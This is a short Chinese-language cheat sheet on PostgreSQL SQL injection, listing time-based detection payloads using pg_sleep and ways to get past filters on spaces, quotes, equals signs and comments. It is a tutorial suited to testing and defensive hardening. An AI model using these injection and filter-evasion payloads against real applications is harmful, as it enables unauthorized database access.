[!TIP|stype:flat]

可以多看看官方的文档,绕过可以尝试一些不常见的语法或函数:https://www.postgresql.org/docs/9.6/

功能函数文档:https://www.postgresql.org/docs/9.6/functions.html

快速发现漏洞

因为我们知道在postgresql||是连接符,那么我们就可以使用如下方法快速发现漏洞

| 情况 | Payload | | —- | —- |

| 整型注入 | id=pg_sleep(10) |

| 字符型注入 | id=1'||pg_sleep(10) |

通用方法

通用的方法,就是万金油,无非就是大小写、双写、编码、注释、HPP、垃圾字符、分块传输、WAF特性

绕过空格

空格被过滤的情况,可以用如下的一些手法:

| 说明 | Payload | | —- | —- |

| 注释符 | /**/ |

| URL编码空格 | + |

| 其他URL编码(换行、Tab等) | %0d%0a%09 |

绕过单引号

单引号'被过滤,可以使用如下的手法

[!NOTE|style:flat]

所有的在使用都应该改为西文的|,不知道gitlab抽什么风,不给渲染,会导致格式变乱

不能同时使用'$$ $quote$

| Payload | 语句 | | —- | —- |

| | select 1
select 1,2$$; |

| $quote | select $quote$1$quote$
select $quote$1$quote$,$quote$2$quote$; |

| || | select chr(97)||chr(98); |

绕过=

过滤了等号,可以用如下多种方法来绕过
官方文档:https://www.postgresql.org/docs/9.0/functions-matching.html

| Payload | 说明 | | —- | —- |

| <> | 不等符 |

| select 1 between 1 and 2; | between语句 |

| select '123' like '1%'; | 模糊匹配 |

| select 'abc' SIMILAR TO '%a%';
select 'abc' SIMILAR TO '%a(b|d)%'; | SIMILAR TO 正则匹配 |

| select 'abc' ~ 'abc';
select 'abc' ~ '^a';
select 'abc' ~ '(b|d)'; | POSIX正则匹配 |

绕过注释符

对注释符过滤的情况下,对我们来说问题可能就是语句不能正常执行
解决办法也很简单,用完整语句给他闭合就OK了

  1. # 原始
  2. ?id=1
  3. # 完整闭合
  4. ?id=1' and expr and '1'='1